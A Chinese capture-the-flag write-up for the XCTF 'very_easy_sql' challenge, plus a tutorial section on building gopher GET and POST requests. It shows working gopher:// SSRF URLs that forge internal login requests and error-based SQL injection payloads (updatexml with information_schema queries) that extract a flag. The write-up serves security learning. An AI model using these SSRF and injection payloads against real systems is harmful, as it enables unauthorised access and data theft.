XCTF-very_easy_sql

XCTF-very_easy_sql

主页如下,注意有一个你不是内部用户的提示。
在这里插入图片描述
主页注释有一个user.php。

在这里插入图片描述

在这里插入图片描述
测试访问本地的127.0.0.1。
在这里插入图片描述
输入http://61.147.171.105:51039测试一下。
在这里插入图片描述
应该是过滤了某些东西,还记得首页你不是内部用户的提示么,SSRF就是用于当我们无法与内网目标直接请求通信,而可以利用web服务器来当作踏板,以web服务器的身份向内网目标交互,所以叫做server-side request forgery,服务端请求伪造。

判断web服务器是否使用的80端口。
在这里插入图片描述

随意输入信息并使用burp suite抓包,并且构造好gopher。
在这里插入图片描述
注意我们要以web服务器的身份发送,所以应该是从127.0.0.1:80请求。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a

在这里插入图片描述

我们以rick:morty的身份登录,并且获得了一个Cookie。“Set-Cookie: PHPSESSID=gq8k1gbh9sp822ur2b0hpjnbk4”,很显然我们此用户貌似不是内网已有用户。尝试一下admin:admin、admin:qwerty等几个常见的密码账户,不行就暴力跑一下。使用admin:admin,记得Content-Length记得改。

gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0auname=admin%26passwd=admin%0d%0a

在这里插入图片描述
得到了一个cookie,this_is_your_cookie=YWRtaW4%3D。

在这里插入图片描述
这个admin是啥意思?根据题目描述大概率是sql注入点。加上Cookie: this_is_your_cookie=YWRtaW4n(admin’的base64编码)
在这里插入图片描述
看报错给的反馈是admin’)。
在这里插入图片描述在这里插入图片描述

报错注入。
在这里插入图片描述

在这里插入图片描述

admin') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

在这里插入图片描述
看到有一个flag表。
在这里插入图片描述
flag表里有一个flag字段。

admin') and updatexml(1,(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)#

在这里插入图片描述
查看flag。
在这里插入图片描述
显示不完全用substr分段读。前25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),1,25)))),1)#

在这里插入图片描述
后25个字符。

admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),26,50)))),1)#

在这里插入图片描述
拼接cyberpeace{73607790a96c63b371cc8015e48c9044}。我们已经完成了一次使用SSRF攻击内网的mysql服务攻击。

扩展

首先查看当前使用的curl能否支持gopher,使用curl --version。
在这里插入图片描述

gopher协议支持GET、POST请求。gopher协议格式是 gopher://host:port/_tcpStream。先模拟一个GET请求,gopher://127.0.0.1:4443/abcd,可以发现abcd只接收到了bcd,a不见了。在这里插入图片描述
因为使用gopher协议请求会吞掉第一个字符,所以用随意一个字符让它吃。
在这里插入图片描述
来用gopher get请求一下。
在这里插入图片描述
在这里插入图片描述
burp suite抓包看看请求。
在这里插入图片描述
筛选必要的请求头。
在这里插入图片描述
首先转化请求为url,并不是所有内容都要转化为url。
在这里插入图片描述
将回车换行符(\r\n)替换为%0d%0a。
在这里插入图片描述
去掉换行符。
在这里插入图片描述
这里搞忘把问号url编码了还有末尾添上%0d%0a用来表示http包请求的结束,补上。
在这里插入图片描述

为啥连接失败,因为gopher默认使用70端口,但是我们开的是80端口,修改即可。
在这里插入图片描述

在这里插入图片描述

gopher POST请求。
在这里插入图片描述
在这里插入图片描述
使用burp suite抓包后转化为POST请求。
在这里插入图片描述
在这里插入图片描述
筛选请求头,经过测试保留下来的就是必须的。
在这里插入图片描述
首先将请求转化为url编码,不是将所有内容都转化为url编码。
在这里插入图片描述

遇到回车换行符(\r\n)替换为%0d%0a,post请求数据是两个换行符。
在这里插入图片描述
接着删掉换行。
在这里插入图片描述

最后添加上gopher://127.0.0.1/_就可以了。
在这里插入图片描述

这样我们就完成了一次gopher的POST请求。

在这里插入图片描述

小总结一下使用gopher请求GET和POST的注意事项:

  • GET和POST最好都在末尾添加上%0d%0a表示http包请求结束
  • GET别忘问号编码
  • POST别忘%0d%0a替换回车换行
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值